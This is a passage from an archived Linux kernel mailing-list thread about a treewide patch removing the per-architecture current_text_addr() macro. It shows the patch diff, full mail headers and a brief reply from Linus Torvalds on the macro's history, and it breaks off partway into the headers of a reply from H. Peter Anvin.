>   * We have a 42-bit user address space: 4TB user VM...
>   */
> diff --git a/arch/arc/include/asm/processor.h b/arch/arc/include/asm/processor.h
> index 8ee41e988169..10346d6cf926 100644
> --- a/arch/arc/include/asm/processor.h
> +++ b/arch/arc/include/asm/processor.h
> @@ -98,14 +98,6 @@ extern void start_thread(struct pt_regs * regs, unsigned long pc,
>  
>  extern unsigned int get_wchan(struct task_struct *p);
>  
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter").
> - * Should the PC register be read instead ? This macro does not seem to
> - * be used in many places so this wont be all that bad.
> - */
> -#define current_text_addr() ({ __label__ _l; _l: &&_l; })
> -
>  #endif /* !__ASSEMBLY__ */
>  
>  /*
> diff --git a/arch/arm/include/asm/processor.h b/arch/arm/include/asm/processor.h
> index 1bf65b47808a..120f4c9bbfde 100644
> --- a/arch/arm/include/asm/processor.h
> +++ b/arch/arm/include/asm/processor.h
> @@ -11,12 +11,6 @@
>  #ifndef __ASM_ARM_PROCESSOR_H
>  #define __ASM_ARM_PROCESSOR_H
>  
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -#define current_text_addr() ({ __label__ _l; _l: &&_l;})
> -
>  #ifdef __KERNEL__
>  
>  #include <asm/hw_breakpoint.h>
> diff --git a/arch/arm64/include/asm/processor.h b/arch/arm64/include/asm/processor.h
> index 79657ad91397..966214f473b4 100644
> --- a/arch/arm64/include/asm/processor.h
> +++ b/arch/arm64/include/asm/processor.h
> @@ -25,13 +25,6 @@
>  #define USER_DS		(TASK_SIZE_64 - 1)
>  
>  #ifndef __ASSEMBLY__
> -
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -#define current_text_addr() ({ __label__ _l; _l: &&_l;})
> -
>  #ifdef __KERNEL__
>  
>  #include <linux/build_bug.h>
> diff --git a/arch/c6x/include/asm/processor.h b/arch/c6x/include/asm/processor.h
> index 8f7cce829f8e..a8581f5b27f6 100644
> --- a/arch/c6x/include/asm/processor.h
> +++ b/arch/c6x/include/asm/processor.h
> @@ -17,17 +17,6 @@
>  #include <asm/page.h>
>  #include <asm/current.h>
>  
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -#define current_text_addr()			\
> -({						\
> -	void *__pc;				\
> -	asm("mvc .S2 pce1,%0\n" : "=b"(__pc));	\
> -	__pc;					\
> -})
> -
>  /*
>   * User space process size. This is mostly meaningless for NOMMU
>   * but some C6X processors may have RAM addresses up to 0xFFFFFFFF.
> diff --git a/arch/h8300/include/asm/processor.h b/arch/h8300/include/asm/processor.h
> index 985346393e4a..a060b41b2d31 100644
> --- a/arch/h8300/include/asm/processor.h
> +++ b/arch/h8300/include/asm/processor.h
> @@ -12,12 +12,6 @@
>  #ifndef __ASM_H8300_PROCESSOR_H
>  #define __ASM_H8300_PROCESSOR_H
>  
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -#define current_text_addr() ({ __label__ _l; _l: &&_l; })
> -
>  #include <linux/compiler.h>
>  #include <asm/segment.h>
>  #include <asm/ptrace.h>
> diff --git a/arch/hexagon/include/asm/processor.h b/arch/hexagon/include/asm/processor.h
> index ce67940860a5..227bcb9cfdac 100644
> --- a/arch/hexagon/include/asm/processor.h
> +++ b/arch/hexagon/include/asm/processor.h
> @@ -27,9 +27,6 @@
>  #include <asm/registers.h>
>  #include <asm/hexagon_vm.h>
>  
> -/*  must be a macro  */
> -#define current_text_addr() ({ __label__ _l; _l: &&_l; })
> -
>  /*  task_struct, defined elsewhere, is the "process descriptor" */
>  struct task_struct;
>  
> diff --git a/arch/ia64/include/asm/processor.h b/arch/ia64/include/asm/processor.h
> index 10061ccf0440..c91ef98ed6bf 100644
> --- a/arch/ia64/include/asm/processor.h
> +++ b/arch/ia64/include/asm/processor.h
> @@ -602,12 +602,6 @@ ia64_set_unat (__u64 *unat, void *spill_addr, unsigned long nat)
>  	*unat = (*unat & ~mask) | (nat << bit);
>  }
>  
> -/*
> - * Get the current instruction/program counter value.
> - */
> -#define current_text_addr() \
> -	({ void *_pc; _pc = (void *)ia64_getreg(_IA64_REG_IP); _pc; })
> -
>  static inline __u64
>  ia64_get_ivr (void)
>  {
> diff --git a/arch/m68k/include/asm/processor.h b/arch/m68k/include/asm/processor.h
> index 464e9f5f50ee..3750819ac5a1 100644
> --- a/arch/m68k/include/asm/processor.h
> +++ b/arch/m68k/include/asm/processor.h
> @@ -8,12 +8,6 @@
>  #ifndef __ASM_M68K_PROCESSOR_H
>  #define __ASM_M68K_PROCESSOR_H
>  
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -#define current_text_addr() ({ __label__ _l; _l: &&_l;})
> -
>  #include <linux/thread_info.h>
>  #include <asm/segment.h>
>  #include <asm/fpu.h>
> diff --git a/arch/microblaze/include/asm/processor.h b/arch/microblaze/include/asm/processor.h
> index 330d556860ba..66b537b8d138 100644
> --- a/arch/microblaze/include/asm/processor.h
> +++ b/arch/microblaze/include/asm/processor.h
> @@ -45,12 +45,6 @@ extern void ret_from_kernel_thread(void);
>   */
>  # define TASK_SIZE	(0x81000000 - 0x80000000)
>  
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -# define current_text_addr() ({ __label__ _l; _l: &&_l; })
> -
>  /*
>   * This decides where the kernel will search for a free chunk of vm
>   * space during mmap's. We won't be using it
> @@ -92,12 +86,6 @@ extern unsigned long get_wchan(struct task_struct *p);
>  
>  #  ifndef __ASSEMBLY__
>  
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -#  define current_text_addr()	({ __label__ _l; _l: &&_l; })
> -
>  /* If you change this, you must change the associated assembly-languages
>   * constants defined below, THREAD_*.
>   */
> diff --git a/arch/mips/include/asm/processor.h b/arch/mips/include/asm/processor.h
> index b2fa62922d88..f08417f8772e 100644
> --- a/arch/mips/include/asm/processor.h
> +++ b/arch/mips/include/asm/processor.h
> @@ -22,11 +22,6 @@
>  #include <asm/mipsregs.h>
>  #include <asm/prefetch.h>
>  
> -/*
> - * Return current * instruction pointer ("program counter").
> - */
> -#define current_text_addr() ({ __label__ _l; _l: &&_l;})
> -
>  /*
>   * System setup and hardware flags..
>   */
> diff --git a/arch/nds32/include/asm/processor.h b/arch/nds32/include/asm/processor.h
> index 9c83caf4269f..c2660f566bac 100644
> --- a/arch/nds32/include/asm/processor.h
> +++ b/arch/nds32/include/asm/processor.h
> @@ -4,12 +4,6 @@
>  #ifndef __ASM_NDS32_PROCESSOR_H
>  #define __ASM_NDS32_PROCESSOR_H
>  
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -#define current_text_addr() ({ __label__ _l; _l: &&_l;})
> -
>  #ifdef __KERNEL__
>  
>  #include <asm/ptrace.h>
> diff --git a/arch/nios2/include/asm/processor.h b/arch/nios2/include/asm/processor.h
> index 4944e2e1d8b0..94bcb86f679f 100644
> --- a/arch/nios2/include/asm/processor.h
> +++ b/arch/nios2/include/asm/processor.h
> @@ -38,12 +38,6 @@
>  #define KUSER_SIZE		(PAGE_SIZE)
>  #ifndef __ASSEMBLY__
>  
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -#define current_text_addr() ({ __label__ _l; _l: &&_l; })
> -
>  # define TASK_SIZE		0x7FFF0000UL
>  # define TASK_UNMAPPED_BASE	(PAGE_ALIGN(TASK_SIZE / 3))
>  
> diff --git a/arch/openrisc/include/asm/processor.h b/arch/openrisc/include/asm/processor.h
> index af31a9fe736a..351d3aed7a06 100644
> --- a/arch/openrisc/include/asm/processor.h
> +++ b/arch/openrisc/include/asm/processor.h
> @@ -30,11 +30,6 @@
>  		   | SPR_SR_DCE | SPR_SR_SM)
>  #define USER_SR   (SPR_SR_DME | SPR_SR_IME | SPR_SR_ICE \
>  		   | SPR_SR_DCE | SPR_SR_IEE | SPR_SR_TEE)
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -#define current_text_addr() ({ __label__ _l; _l: &&_l; })
>  
>  /*
>   * User space process size. This is hardcoded into a few places,
> diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
> index 2dbe5580a1a4..0d7f64ef9c7d 100644
> --- a/arch/parisc/include/asm/processor.h
> +++ b/arch/parisc/include/asm/processor.h
> @@ -20,17 +20,6 @@
>  #include <asm/percpu.h>
>  #endif /* __ASSEMBLY__ */
>  
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -#ifdef CONFIG_PA20
> -#define current_ia(x)	__asm__("mfia %0" : "=r"(x))
> -#else /* mfia added in pa2.0 */
> -#define current_ia(x)	__asm__("blr 0,%0\n\tnop" : "=r"(x))
> -#endif
> -#define current_text_addr() ({ void *pc; current_ia(pc); pc; })
> -
>  #define HAVE_ARCH_PICK_MMAP_LAYOUT
>  
>  #define TASK_SIZE_OF(tsk)       ((tsk)->thread.task_size)
> diff --git a/arch/powerpc/include/asm/processor.h b/arch/powerpc/include/asm/processor.h
> index 52fadded5c1e..1fff74df06e6 100644
> --- a/arch/powerpc/include/asm/processor.h
> +++ b/arch/powerpc/include/asm/processor.h
> @@ -67,12 +67,6 @@ extern int _chrp_type;
>  
>  #endif /* defined(__KERNEL__) && defined(CONFIG_PPC32) */
>  
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -#define current_text_addr() ({ __label__ _l; _l: &&_l;})
> -
>  /* Macros for adjusting thread priority (hardware multi-threading) */
>  #define HMT_very_low()   asm volatile("or 31,31,31   # very low priority")
>  #define HMT_low()	 asm volatile("or 1,1,1	     # low priority")
> diff --git a/arch/riscv/include/asm/processor.h b/arch/riscv/include/asm/processor.h
> index 3fe4af8147d2..020e35947060 100644
> --- a/arch/riscv/include/asm/processor.h
> +++ b/arch/riscv/include/asm/processor.h
> @@ -33,12 +33,6 @@
>  struct task_struct;
>  struct pt_regs;
>  
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -#define current_text_addr()	({ __label__ _l; _l: &&_l; })
> -
>  /* CPU-specific state of a task */
>  struct thread_struct {
>  	/* Callee-saved registers */
> diff --git a/arch/s390/include/asm/processor.h b/arch/s390/include/asm/processor.h
> index 7f2953c15c37..f8028d37bb18 100644
> --- a/arch/s390/include/asm/processor.h
> +++ b/arch/s390/include/asm/processor.h
> @@ -73,12 +73,6 @@ static inline int test_cpu_flag_of(int flag, int cpu)
>  
>  #define arch_needs_cpu() test_cpu_flag(CIF_NOHZ_DELAY)
>  
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -#define current_text_addr() ({ void *pc; asm("basr %0,0" : "=a" (pc)); pc; })
> -
>  static inline void get_cpu_id(struct cpuid *ptr)
>  {
>  	asm volatile("stidp %0" : "=Q" (*ptr));
> diff --git a/arch/sh/include/asm/processor_32.h b/arch/sh/include/asm/processor_32.h
> index 95100d8a0b7b..0e0ecc0132e3 100644
> --- a/arch/sh/include/asm/processor_32.h
> +++ b/arch/sh/include/asm/processor_32.h
> @@ -16,12 +16,6 @@
>  #include <asm/types.h>
>  #include <asm/hw_breakpoint.h>
>  
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -#define current_text_addr() ({ void *pc; __asm__("mova	1f, %0\n.align 2\n1:":"=z" (pc)); pc; })
> -
>  /* Core Processor Version Register */
>  #define CCN_PVR		0xff000030
>  #define CCN_CVR		0xff000040
> diff --git a/arch/sh/include/asm/processor_64.h b/arch/sh/include/asm/processor_64.h
> index 777a16318aff..f3d7075648d0 100644
> --- a/arch/sh/include/asm/processor_64.h
> +++ b/arch/sh/include/asm/processor_64.h
> @@ -19,21 +19,6 @@
>  #include <asm/types.h>
>  #include <cpu/registers.h>
>  
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -#define current_text_addr() ({ \
> -void *pc; \
> -unsigned long long __dummy = 0; \
> -__asm__("gettr	tr0, %1\n\t" \
> -	"pta	4, tr0\n\t" \
> -	"gettr	tr0, %0\n\t" \
> -	"ptabs	%1, tr0\n\t"	\
> -	:"=r" (pc), "=r" (__dummy) \
> -	: "1" (__dummy)); \
> -pc; })
> -
>  #endif
>  
>  /*
> diff --git a/arch/sparc/include/asm/processor_32.h b/arch/sparc/include/asm/processor_32.h
> index 192493c257fa..3c4bc2189092 100644
> --- a/arch/sparc/include/asm/processor_32.h
> +++ b/arch/sparc/include/asm/processor_32.h
> @@ -7,12 +7,6 @@
>  #ifndef __ASM_SPARC_PROCESSOR_H
>  #define __ASM_SPARC_PROCESSOR_H
>  
> -/*
> - * Sparc32 implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -#define current_text_addr() ({ void *pc; __asm__("sethi %%hi(1f), %0; or %0, %%lo(1f), %0;\n1:" : "=r" (pc)); pc; })
> -
>  #include <asm/psr.h>
>  #include <asm/ptrace.h>
>  #include <asm/head.h>
> diff --git a/arch/sparc/include/asm/processor_64.h b/arch/sparc/include/asm/processor_64.h
> index aac23d4a4ddd..5cf145f18f36 100644
> --- a/arch/sparc/include/asm/processor_64.h
> +++ b/arch/sparc/include/asm/processor_64.h
> @@ -8,12 +8,6 @@
>  #ifndef __ASM_SPARC64_PROCESSOR_H
>  #define __ASM_SPARC64_PROCESSOR_H
>  
> -/*
> - * Sparc64 implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -#define current_text_addr() ({ void *pc; __asm__("rd %%pc, %0" : "=r" (pc)); pc; })
> -
>  #include <asm/asi.h>
>  #include <asm/pstate.h>
>  #include <asm/ptrace.h>
> diff --git a/arch/unicore32/include/asm/processor.h b/arch/unicore32/include/asm/processor.h
> index 4eaa42167667..b772ed1c0f25 100644
> --- a/arch/unicore32/include/asm/processor.h
> +++ b/arch/unicore32/include/asm/processor.h
> @@ -13,12 +13,6 @@
>  #ifndef __UNICORE_PROCESSOR_H__
>  #define __UNICORE_PROCESSOR_H__
>  
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -#define current_text_addr() ({ __label__ _l; _l: &&_l; })
> -
>  #ifdef __KERNEL__
>  
>  #include <asm/ptrace.h>
> diff --git a/arch/x86/include/asm/kexec.h b/arch/x86/include/asm/kexec.h
> index f327236f0fa7..86924d594ecd 100644
> --- a/arch/x86/include/asm/kexec.h
> +++ b/arch/x86/include/asm/kexec.h
> @@ -21,6 +21,7 @@
>  #ifndef __ASSEMBLY__
>  
>  #include <linux/string.h>
> +#include <linux/kernel.h>
>  
>  #include <asm/page.h>
>  #include <asm/ptrace.h>
> @@ -132,7 +133,7 @@ static inline void crash_setup_regs(struct pt_regs *newregs,
>  		asm volatile("movl %%cs, %%eax;" :"=a"(newregs->cs));
>  		asm volatile("pushfq; popq %0" :"=m"(newregs->flags));
>  #endif
> -		newregs->ip = (unsigned long)current_text_addr();
> +		newregs->ip = _THIS_IP_;
>  	}
>  }
>  
> diff --git a/arch/x86/include/asm/processor.h b/arch/x86/include/asm/processor.h
> index 682286aca881..20080b303605 100644
> --- a/arch/x86/include/asm/processor.h
> +++ b/arch/x86/include/asm/processor.h
> @@ -42,18 +42,6 @@ struct vm86;
>  #define NET_IP_ALIGN	0
>  
>  #define HBP_NUM 4
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -static inline void *current_text_addr(void)
> -{
> -	void *pc;
> -
> -	asm volatile("mov $1f, %0; 1:":"=r" (pc));
> -
> -	return pc;
> -}
>  
>  /*
>   * These alignment constraints are for performance in the vSMP case,
> diff --git a/arch/x86/um/asm/processor_32.h b/arch/x86/um/asm/processor_32.h
> index c112de81c9e1..5fb1b8449adf 100644
> --- a/arch/x86/um/asm/processor_32.h
> +++ b/arch/x86/um/asm/processor_32.h
> @@ -47,14 +47,6 @@ static inline void arch_copy_thread(struct arch_thread *from,
>          memcpy(&to->tls_array, &from->tls_array, sizeof(from->tls_array));
>  }
>  
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter"). Stolen
> - * from asm-i386/processor.h
> - */
> -#define current_text_addr() \
> -	({ void *pc; __asm__("movl $1f,%0\n1:":"=g" (pc)); pc; })
> -
>  #define current_sp() ({ void *sp; __asm__("movl %%esp, %0" : "=r" (sp) : ); sp; })
>  #define current_bp() ({ unsigned long bp; __asm__("movl %%ebp, %0" : "=r" (bp) : ); bp; })
>  
> diff --git a/arch/x86/um/asm/processor_64.h b/arch/x86/um/asm/processor_64.h
> index c3be85205a65..1ef9c21877bc 100644
> --- a/arch/x86/um/asm/processor_64.h
> +++ b/arch/x86/um/asm/processor_64.h
> @@ -31,9 +31,6 @@ static inline void arch_copy_thread(struct arch_thread *from,
>  	to->fs = from->fs;
>  }
>  
> -#define current_text_addr() \
> -	({ void *pc; __asm__("movq $1f,%0\n1:":"=g" (pc)); pc; })
> -
>  #define current_sp() ({ void *sp; __asm__("movq %%rsp, %0" : "=r" (sp) : ); sp; })
>  #define current_bp() ({ unsigned long bp; __asm__("movq %%rbp, %0" : "=r" (bp) : ); bp; })
>  
> diff --git a/arch/xtensa/include/asm/processor.h b/arch/xtensa/include/asm/processor.h
> index 5b0027d4ecc0..68891c992105 100644
> --- a/arch/xtensa/include/asm/processor.h
> +++ b/arch/xtensa/include/asm/processor.h
> @@ -153,14 +153,6 @@ struct thread_struct {
>  	int align[0] __attribute__ ((aligned(16)));
>  };
>  
> -
> -/*
> - * Default implementation of macro that returns current
> - * instruction pointer ("program counter").
> - */
> -#define current_text_addr()  ({ __label__ _l; _l: &&_l;})
> -
> -
>  /* This decides where the kernel will search for a free chunk of vm
>   * space during mmap's.
>   */
> 

From - Thu Nov 08 21:41:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] treewide: remove current_text_addr
Date: Sat, 25 Aug 2018 14:02:43 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <CA+55aFxL-u3uvGGv0GOoHhEwV8fy=BCN1yScxKQiVMPoHtg=Wg@mail.gmail.com>
References: <CAKwvOdkWL_2yTnJqM6n6R9UCPwY4iz-9BQYGN2MDAk9EzumUvA@mail.gmail.com>
 <20180821202900.208417-1-ndesaulniers@google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1535230876 10439 195.159.176.226 (25 Aug 2018 21:01:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 25 Aug 2018 21:01:16 +0000 (UTC)
Cc: Nicolas Pitre <nicolas.pitre@linaro.org>,
 linux-mips <linux-mips@linux-mips.org>,
 Linux-sh list <linux-sh@vger.kernel.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Will Deacon <will.deacon@arm.com>, Paul Mackerras <paulus@samba.org>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, gor@linux.vnet.ibm.com,
 Matt Turner <mattst88@gmail.com>,
 "moderated list:H8/300 ARCHITECTURE" <uclinux-h8-devel@lists.sourceforge.jp>,
 Marc Zyngier <marc.zyngier@arm.com>, Ram Pai <linuxram@us.ibm.com>,
 linux-um@lists.infradead.org, Nick Piggin <npiggin@gmail.com>,
 Andrew Lutomirski <luto@kernel.org>, shannon.nelson@oracle.com,
 Thomas Gleixner <tglx@linutronix.de>, alex.bennee@linaro.org,
 Richard Henderson <rth@twiddle.net>, Jiri Kosina <jkosina@suse.cz>,
 L
To: Nick Desaulniers <ndesaulniers@google.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Aug 25 23:01:01 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1ftfg3-0002Lo-8M
	for gla-linux-snps-arc@m.gmane.org; Sat, 25 Aug 2018 23:00:59 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:To:Subject:Message-ID:Date:From:
	In-Reply-To:References:MIME-Version:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=6s6zV8Z8lCU8t2VFHj735e8yQQC2BZ7JBnMW0q8Z6VY=; b=pzZ3OiyJ9lQ739
	9vQnCl0JbIW/gqxvxhWQQGoxfrJ0t1Zy07rkrAxV8LLd7dq+4K2T+ucfIgCpXKuaHldC0pI6aYLH9
	Iymm4oHvneXGvnQ7R8rITuGDEIHqy7tGuqwFE0rYCybrUgJcz6KWuPYu8xG6eMu3PiFZ/79rG2ka+
	XDqbOqhIE5ne2kDiuvBB4mA67ms920JSe0baAs9MdRXCkfS593112YXqyIfZTGq2oYP9wDKmm4khT
	EX1A4RBs6DQbCBpqBsRtLdAdjOwzvnu/O+KRkYEGMHXSTPZ3FZPn63VLO3VIRycZHYcNPhzVJoehx
	u5JoE46EhZRqfAvubpBA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1ftfi8-0006A2-Mt; Sat, 25 Aug 2018 21:03:08 +0000
Original-Received: from mail-io0-x241.google.com ([2607:f8b0:4001:c06::241])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1ftfi6-00068b-Ce; Sat, 25 Aug 2018 21:03:07 +0000
Original-Received: by mail-io0-x241.google.com with SMTP id l7-v6so9840186iok.6;
 Sat, 25 Aug 2018 14:02:55 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=linux-foundation.org; s=google;
 h=mime-version:references:in-reply-to:from:date:message-id:subject:to
 :cc; bh=ZJE4B6eA+W3iZhwqnRGz2FAQ/QDMOA2EZwNKQJzar6g=;
 b=evDel4DiMe2DRvSNssNFeZiN0LSsFD0TCJaQq0lyprQ3Ac3ljg3/uzk/PrSWhb6wSm
 jgCPEBxdp9nSAehEGexGM9u+FAB8Yf+/kEWcm9n8816uHzIIcqz8E8fDtlSeB4JmxMng
 9O7FKBtuY87vfVQCmDcI0Up0jlgIM8A3SwDDs=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:references:in-reply-to:from:date
 :message-id:subject:to:cc;
 bh=ZJE4B6eA+W3iZhwqnRGz2FAQ/QDMOA2EZwNKQJzar6g=;
 b=Ho3T9Gtf2lvLFhEh6b0n1tCO01P8z33joVKYfK2DgVn3UbzykQEi5sb14bhtbnOwp8
 YF0SOn76LgB5yI8UUqvM/JyEmEN7yCtNbjTMEYmlDxVTHc2GEXwvKghGpEo6FCF+SzEw
 oWebIf2r47OlQmVd70t8BnRyNoWPCBVB+CKOhQswKAjnJm9Fb9ptcppuA5TTo/ag0Q/2
 lFkmFMY06ehFGHyF0OGNLhRtPM+S4DK1iXnUKlP7SibyhL2qLyCvL4jY7AM3Hz7fFn3P
 2nAB4e0AxbWrDpixu5XUYo+2Ab3sy6PQFpv/gfPU7Sj5u+FZHW4QzuXYD5eLN8eBalYV
 NQWg==
X-Gm-Message-State: APzg51A+7cHrk5rndYU+uAkCH0xknwwk3ekz64lxK7qe7AQbjQ980L03
 Xr4DLS/50A2Ryvn5UBX/hc2E7pjMDLMiTb+H448=
X-Google-Smtp-Source: ANB0VdZsz/LlDcNWTotprzqO/Dp/NYFQ+O2JkLsawy4Lm6L1X37lCqxuTtoOCx68NEk0xSoN1razF6gqj32hb4tSLmA=
X-Received: by 2002:a6b:f815:: with SMTP id
 o21-v6mr5881201ioh.203.1535230974881; 
 Sat, 25 Aug 2018 14:02:54 -0700 (PDT)
In-Reply-To: <20180821202900.208417-1-ndesaulniers@google.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180825_140306_458893_DF7AE27D 
X-CRM114-Status: GOOD (  12.71  )
X-Spam-Score: 0.4 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (0.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4001:c06:0:0:0:241 listed in] [list.dnswl.org]
 0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
 domains are different
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.2 FREEMAIL_ENVFROM_END_DIGIT Envelope-from freemail username ends in
 digit (linus971[at]gmail.com)
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (linus971[at]gmail.com)
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 0.2 FREEMAIL_FORGED_FROMDOMAIN 2nd level domains in From and EnvelopeFrom
 freemail headers are different
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4218 gmane.linux.ports.mips.general:66181 gmane.linux.ports.sh.devel:57401 gmane.linux.kernel:2853284 gmane.linux.ports.ia64:29116 gmane.linux.ports.hexagon:1813 gmane.linux.ports.arm.kernel:670174 gmane.linux.ports.parisc:28905 gmane.linux.ports.alpha:5202 gmane.linux.ports.sparc:28229 gmane.linux.ports.riscv:530 gmane.linux.ports.ppc64.devel:161659
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4218>

On Tue, Aug 21, 2018 at 1:31 PM Nick Desaulniers
<ndesaulniers@google.com> wrote:
>
> I suspect that current_text_addr predated GNU C extensions for statement
> expressions and/or taking the address of a label, then the macro was
> reimplemented for every new archs include/asm/processor.h, even though
> there were very few call sites, and none required an assembly
> implementation vs the C implementation.

I actually have this very dim memory that we had some compiler issues
where a label in the code resulted in gcc generating worse code
elsewhere in that same function.

But current_text_addr() predates both the git and the BK history, so
it's all shrouded in antiquity, and even if my dim recollection is
true, it may not be true any more. There aren't so many call sites
that it is likely to matter anyway.

             Linus

From - Thu Nov 08 21:41:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] treewide: remove current_text_addr
Date: Sat, 25 Aug 2018 19:38:47 -0700
Lines: 150
Approved: news@gmane.org
Message-ID: <c62e4e00-fb8f-19a6-f3eb-bde60118cb1a@zytor.com>
References: <CAKwvOdkWL_2yTnJqM6n6R9UCPwY4iz-9BQYGN2MDAk9EzumUvA@mail.gmail.com>
 <20180821202900.208417-1-ndesaulniers@google.com>
 <207784db-4fcc-85e7-a0b2-fec26b7dab81@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="------------CE37549B542F2DC07673DCF7"
X-Trace: blaine.gmane.org 1535251277 29923 195.159.176.226 (26 Aug 2018 02:41:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
